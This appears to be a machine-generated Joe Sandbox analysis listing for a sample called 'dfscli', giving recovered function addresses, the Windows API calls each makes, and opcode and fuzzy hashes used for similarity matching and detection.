Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: ErrorLastbindhtonlhtonsinet_addr
String ID:
API String ID: 3045141626-0
Opcode ID: fdd929dac27bfb8b269abb1e6dbd06ae9421f0aed8c90508c6ae5c3d1d7e3271
Instruction ID: bb8df0c29fff26a21c7ebcb5d6223e386f4c65aafe457ce3011b1e801e2c3432
Opcode Fuzzy Hash: fdd929dac27bfb8b269abb1e6dbd06ae9421f0aed8c90508c6ae5c3d1d7e3271
Instruction Fuzzy Hash: D2018831A00118ABCB10EBE5E84599FBBB8AF44354F500526F505E7291DB785A45C7DA

Function 00422618 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

GetTopWindow.USER32(?), ref: 00422626
GetTopWindow.USER32(00000000), ref: 00422665
GetWindow.USER32(00000000,00000002), ref: 00422683

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: 81da272bab6fcc9ea7e7a7430d34d7fcffd1c11d78819ae3fe2fecd1ce21925b
Instruction ID: cb0a53dda468c9b6b58841506fecf0a12188666d2209ed4bb47fc30449578cc2
Opcode Fuzzy Hash: 81da272bab6fcc9ea7e7a7430d34d7fcffd1c11d78819ae3fe2fecd1ce21925b
Instruction Fuzzy Hash: FA01043320152ABBCF125F91AE05E9F3B26AF54361F854116FE0061160D77AD932EBAE

Function 0042206C Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00422077
GetTopWindow.USER32(00000000), ref: 0042208A

Part of subcall function 0042206C: GetWindow.USER32(00000000,00000002), ref: 004220D1

GetTopWindow.USER32(?), ref: 004220BA

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Window$Item
String ID:
API String ID: 369458955-0
Opcode ID: 6c6900eeac992edc6914a5118e1541f0b22b5380ff1e1b3e7d3a0b70f71fff3c
Instruction ID: 611b05ef37a8cdda27b70757f5ae3b19c9143c7451e53f26c9eb106d08c62b60
Opcode Fuzzy Hash: 6c6900eeac992edc6914a5118e1541f0b22b5380ff1e1b3e7d3a0b70f71fff3c
Instruction Fuzzy Hash: 26018432301539B7DB322F52AE04FAF36559F157A0F804026FF00A1220D7B9D951D69D

Function 004275D6 Relevance: 6.0, APIs: 4, Instructions: 48registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(00000000,?,00000000,00000004,?,00000004,?,?), ref: 0042760A
RegCloseKey.ADVAPI32(00000000,?,?), ref: 00427613
wsprintfA.USER32 ref: 0042762F
WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 00427645

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: ClosePrivateProfileStringValueWritewsprintf
String ID:
API String ID: 1902064621-0
Opcode ID: dbcabcc69f35e4ea2064bd688e25f9756b693440038725029bf2d78983c0515e
Instruction ID: 249eee3b46158d6d5fcb97f90f683b9770f48eaba065b46f6e1ac24a512eab86
Opcode Fuzzy Hash: dbcabcc69f35e4ea2064bd688e25f9756b693440038725029bf2d78983c0515e
Instruction Fuzzy Hash: 5B015E32600629FBCB21AFA5DD05E9F3BA9BF08714F404436FA01A6150DB75DA129B98

Function 0042A065 Relevance: 6.0, APIs: 4, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32(?), ref: 0042A079
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,0042B1A4,00000000), ref: 0042A08F
SysAllocStringByteLen.OLEAUT32(00000000,00000000), ref: 0042A097
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,00000000,?,?,?,?,0042B1A4,00000000), ref: 0042A0AC

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Byte$CharMultiStringWide$Alloc
String ID:
API String ID: 3384502665-0
Opcode ID: 2f768fecabc726658f8f88acdcbfcc7f4af63c07174896c7a40ff147d03d0804
Instruction ID: dc896c3cb116076c9357b3b04fc63cbba15b70dbedf9f50e9427452b928ef166
Opcode Fuzzy Hash: 2f768fecabc726658f8f88acdcbfcc7f4af63c07174896c7a40ff147d03d0804
Instruction Fuzzy Hash: F1F05471207234BF93205B67DC48CEBBF9CEE8B2A4B014526F545C2110C6355801CBF6

Function 00409508 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

IntersectRect.USER32(?,00000000,?), ref: 00409539
EqualRect.USER32(?,00000000), ref: 00409546
IsRectEmpty.USER32(?), ref: 00409550
InvalidateRect.USER32(?,?,?), ref: 0040956D

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Rect$EmptyEqualIntersectInvalidate
String ID:
API String ID: 3354205298-0
Opcode ID: f9175667af0f7be801df8ef0be15282322e2dc242db8e47f337ba70243cfd374
Instruction ID: 5a9675a2ec0c149863344b7b821c378a1e07663030a84a8ac4983ad52a3ab610
Opcode Fuzzy Hash: f9175667af0f7be801df8ef0be15282322e2dc242db8e47f337ba70243cfd374
Instruction Fuzzy Hash: 60014C3290011AEBDF11DFA5DC48EAAB7BCFF09314F408462F914A7111D230A6068B64

Function 004239DB Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,000000F0), ref: 004239FD
LoadResource.KERNEL32(?,00000000,?,?,?,?,00420245,?,?,00403D00,?,?,?,?,?,0042CC28), ref: 00423A09
LockResource.KERNEL32(00000000,?,?,?,?,00420245,?,?,00403D00,?,?,?,?,?,0042CC28,000000FF), ref: 00423A16
FreeResource.KERNEL32(00000000,?,?,?,?,00420245,?,?,00403D00,?,?,?,?,?,0042CC28,000000FF), ref: 00423A31

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: e10056d9a2660e3800f5a85b41266e3d05e9b35dc89b2b7957be5cf1a157bfe8
Instruction ID: f1e10e0b9d610b383d076a7a45ed5418143a48e9ec23dbbc25ebf98e0a5bfae2
Opcode Fuzzy Hash: e10056d9a2660e3800f5a85b41266e3d05e9b35dc89b2b7957be5cf1a157bfe8
Instruction Fuzzy Hash: E6F09036300225AB97219FA77C44D3BB6BCAF85762B85007EFE45D3211DE698D028679

Function 0041FC6D Relevance: 6.0, APIs: 4, Instructions: 41windowCOMMON

Download Yara Rule

APIs

EnableMenuItem.USER32(?,?,?), ref: 0041FC98
GetFocus.USER32 ref: 0041FCAB
GetParent.USER32(?), ref: 0041FCB9
SendMessageA.USER32(?,00000028,00000000,00000000), ref: 0041FCCE

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: EnableFocusItemMenuMessageParentSend
String ID:
API String ID: 2297321873-0
Opcode ID: 5848d75683eeff144eec62b50be30f757bc95a58dccda503d274df78e6b91d20
Instruction ID: 667ea2b61b03b80e95b8bbf3fcb0286f57c03423c76812f661bbdfa9ca70b136
Opcode Fuzzy Hash: 5848d75683eeff144eec62b50be30f757bc95a58dccda503d274df78e6b91d20
Instruction Fuzzy Hash: 5501B130200605AFD7349F21DC09B5ABBB0FF50321F504A2EF502925F0D778B886EB88

Function 00424346 Relevance: 6.0, APIs: 4, Instructions: 40stringCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042434B
GetWindowTextA.USER32(?,?,?), ref: 00424363
lstrcpynA.KERNEL32(?,?,?), ref: 00424399
lstrlenA.KERNEL32(?), ref: 004243A2

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: H_prologTextWindowlstrcpynlstrlen
String ID:
API String ID: 3022380644-0
Opcode ID: 9588c763b94ff57c08a9a562fa99b45d125bae693aa3a85c8c8a5c58bf168152
Instruction ID: 038d39e764909cb72f487515755dd880c683e44097d606ce0493c2f887320532
Opcode Fuzzy Hash: 9588c763b94ff57c08a9a562fa99b45d125bae693aa3a85c8c8a5c58bf168152
Instruction Fuzzy Hash: 4B018C31600524EFCB14DFA4C808BAEBBB1FF48315F40CA6AF9129B261CB399950DF94

Function 0041A2EE Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

___addl.LIBCMT ref: 0041A2FD
___addl.LIBCMT ref: 0041A311
___addl.LIBCMT ref: 0041A329
___addl.LIBCMT ref: 0041A341

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: ___addl
String ID:
API String ID: 2260456530-0
Opcode ID: 9462fbb24550e51235c69811f5d997a06ce5764b14ffee6f8e6d9ade5b511c72
Instruction ID: bebc27e0ad429c0126922934f5b1fa86729f384fc2e22584e0928f5d8e1cdaa7
Opcode Fuzzy Hash: 9462fbb24550e51235c69811f5d997a06ce5764b14ffee6f8e6d9ade5b511c72
Instruction Fuzzy Hash: 92F0CD3A401202AFCA105A02DC01EA3B7E9FF04354B0404ABFD5982235E732E8BCCB52

Function 004265BD Relevance: 6.0, APIs: 4, Instructions: 33stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 004265D2
GetWindowTextA.USER32(?,?,00000100), ref: 004265EE
lstrcmpA.KERNEL32(?,?), ref: 00426602
SetWindowTextA.USER32(?,?), ref: 00426612

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: TextWindow$lstrcmplstrlen
String ID:
API String ID: 330964273-0
Opcode ID: 205df15bef250dda04495d21c1cf24ecad239e14aeebe1b9e08572ee8303819d
Instruction ID: 32920149c2e13a73d1dc760514e2eeab2557267489b4b68b72185029daae6c0c
Opcode Fuzzy Hash: 205df15bef250dda04495d21c1cf24ecad239e14aeebe1b9e08572ee8303819d
Instruction Fuzzy Hash: 9FF0F975600118EBDF21AF65EC489CE7B69FB08350F4081A2F945E2260D7798A95DBA8

Function 0042068B Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

EnableWindow.USER32(00000000,00000001), ref: 0042069E
GetActiveWindow.USER32 ref: 004206A9
SetActiveWindow.USER32(00000000,?,?,?,?,?,?,?,?,00000064,00000000), ref: 004206B7
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000064,00000000), ref: 004206D3

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Window$Active$EnableFreeResource
String ID:
API String ID: 3751187028-0
Opcode ID: 252fd1aecebcf36ae1063793674cdf2c0fb2d0a1c58f11556f040e13d421e044
Instruction ID: 651b9e4e32d33f6c41131df07468a60757a46e08b7472d39c7ef1db3212f965c
Opcode Fuzzy Hash: 252fd1aecebcf36ae1063793674cdf2c0fb2d0a1c58f11556f040e13d421e044
Instruction Fuzzy Hash: 7DF08731B00325CFCF20EF90E8846AEB7F1FF48312F80053AE102B26A1C7396912CA19

Function 0042A3E2 Relevance: 6.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0042A404
GetTickCount.KERNEL32 ref: 0042A411
CoFreeUnusedLibraries.OLE32 ref: 0042A420
GetTickCount.KERNEL32 ref: 0042A426

Part of subcall function 0042A38B: CoFreeUnusedLibraries.OLE32(00000000,0042A46B,00000000,?,?,00409F1F), ref: 0042A3CF
Part of subcall function 0042A38B: OleUninitialize.OLE32(?,?,00409F1F), ref: 0042A3D5

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: CountTick$FreeLibrariesUnused$Uninitialize
String ID:
API String ID: 685759847-0
Opcode ID: a7b6454c06bf55826f1ca2544db4a5b5e913ae1ac901965ee86b94635a762fcd
Instruction ID: 53365efa4c1230ee432236039d3407cb682c0de065b522118cd881790a3b89b9
Opcode Fuzzy Hash: a7b6454c06bf55826f1ca2544db4a5b5e913ae1ac901965ee86b94635a762fcd
Instruction Fuzzy Hash: D0E06D31905261CBC710BBA4FC4C26A3BA0BB50308F409837E80193270C77868A5CF5B

Function 0040FC9F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 133COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,00000000,00000000), ref: 0040FCD9

Strings

@D, xrefs: 0040FD33
@D, xrefs: 0040FCF1

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Info
String ID: @D$@D
API String ID: 1807457897-1398737213
Opcode ID: 91e4028214e053c96e7723c0768ed27d2ed356ddb9a79d95c398ad60e743bbb3
Instruction ID: 62482ca91026c37aa1dac497eb650ef51dc4ea81e72a355b0f7e427c1810b87f
Opcode Fuzzy Hash: 91e4028214e053c96e7723c0768ed27d2ed356ddb9a79d95c398ad60e743bbb3
Instruction Fuzzy Hash: 404139749041519FE720CFB4D48167A7BA1AF49304F28447FD68AEB7A2D23D581E8B8D

Function 0040FAA4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 0040FAC0

Strings

, xrefs: 0040FB0E
, xrefs: 0040FAE7

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: a6edd212cb7947d5841bf6e2cae9edd82bd8bb28a2de40edc7fc4ba90436b0ee
Instruction ID: e3cc246aaaae655b62ba72c07eeb59b114e224ef0f58dc480b4ed99257abb5d6
Opcode Fuzzy Hash: a6edd212cb7947d5841bf6e2cae9edd82bd8bb28a2de40edc7fc4ba90436b0ee
Instruction Fuzzy Hash: 4441CD7150425C5EEB218764DC5ABFB3BE8EB06304F2408F2DA44E7192C27819ADDB9C

Function 004166A1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

__shift.LIBCMT ref: 004166C4

Part of subcall function 00416684: _strlen.LIBCMT ref: 0041668C

_strcat.LIBCMT ref: 00416701

Strings

e+000, xrefs: 004166F3

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: __shift_strcat_strlen
String ID: e+000
API String ID: 208078240-1027065040
Opcode ID: 194d25e77a56b344b629a956c0d25f441e46d8e36f353af7accf61324439c85b
Instruction ID: 89f468d84c82e1ace85985d2492e42cf5a36f8a17d3e9c42b5c9dfd052896992
Opcode Fuzzy Hash: 194d25e77a56b344b629a956c0d25f441e46d8e36f353af7accf61324439c85b
Instruction Fuzzy Hash: 2221C0722093904FD72A9E38DC947E63BD45B03318F1944BFE485CA2D2D67DC885C759

Function 00419FDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000000,020C13D8,00000000,00000007,00000007,^@,004176A0,00000000), ref: 0041A003
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,0000003C,00000000,?,?,0000003C,00000000,?), ref: 0041A026

Part of subcall function 0040E502: __lock.LIBCMT ref: 0040E520
Part of subcall function 0040E502: HeapFree.KERNEL32(00000000,?,00431A60,0000000C,004108CC,00000000,00431B30,00000008,00410901,?,?,?,00410723,00000004,00431B20,00000010), ref: 0040E567

Strings

^@, xrefs: 00419FDB

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: ByteCharMultiWide$FreeHeap__lock
String ID: ^@
API String ID: 38926842-3067454934
Opcode ID: 2318afb57be2129960d38f3a2b4ee928f934c80d6b1bab9723fc74fbe9b91bfe
Instruction ID: 184d1faa913d037cc4e56e763f0fd7e80dd229126f78ea24d8bc9510c4970353
Opcode Fuzzy Hash: 2318afb57be2129960d38f3a2b4ee928f934c80d6b1bab9723fc74fbe9b91bfe
Instruction Fuzzy Hash: 5611A371907124BA9B209FAA9C45CDFBF6CDE0A7B4B304567F014E21D0EB349E50D6A9

Function 0042149E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

GetClassInfoA.USER32(?,-0000007C,?), ref: 004214FD

Strings

Afx:%p:%x:%p:%p:%p, xrefs: 004214E9
Afx:%p:%x, xrefs: 004214CE

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: ClassInfo
String ID: Afx:%p:%x$Afx:%p:%x:%p:%p:%p
API String ID: 3534257612-2801496823
Opcode ID: bd080865469e38637f7ee73eafe3d082cd40be6588647cb402949ac972de2cf5
Instruction ID: 4ba1055b97871b79f2e7e250bc91374e937afd52b24a3d5666128ff83e3a1e39
Opcode Fuzzy Hash: bd080865469e38637f7ee73eafe3d082cd40be6588647cb402949ac972de2cf5
Instruction Fuzzy Hash: 992130B1A00219AB8F10EF96E8419DE7BB8BE58354F50406BF908E3251E7389951CBA9

Function 021C2430 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00000040,00000004,?), ref: 021C2468
VirtualProtect.KERNEL32(00000000,000000F8,00000004,?), ref: 021C24B2

Strings

@, xrefs: 021C2453

Memory Dump Source

Source File: 00000002.00000002.2117474523.00000000021C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_21c1000_dfscli.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 661880b2a81309fe8c72b2b4d9b0e5009c1a783bdcc69007570b72eefcee6f72
Instruction ID: d4f62bde6ad7831b35d4f3da9267c9b3f72e13b0ae3136176f4fc2e9034f385b
Opcode Fuzzy Hash: 661880b2a81309fe8c72b2b4d9b0e5009c1a783bdcc69007570b72eefcee6f72
Instruction Fuzzy Hash: D721E5B8E44209EFDF14CF98C980BAEBBB5BF54308F208599DD15AB240C774AB80DB55

Function 00425FE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00405C41: GetWindowExtEx.GDI32(?,?), ref: 00405C4D

Part of subcall function 00405C1D: GetViewportExtEx.GDI32(?,?), ref: 00405C29

MulDiv.KERNEL32(00407746,00000000,00000000), ref: 00426020
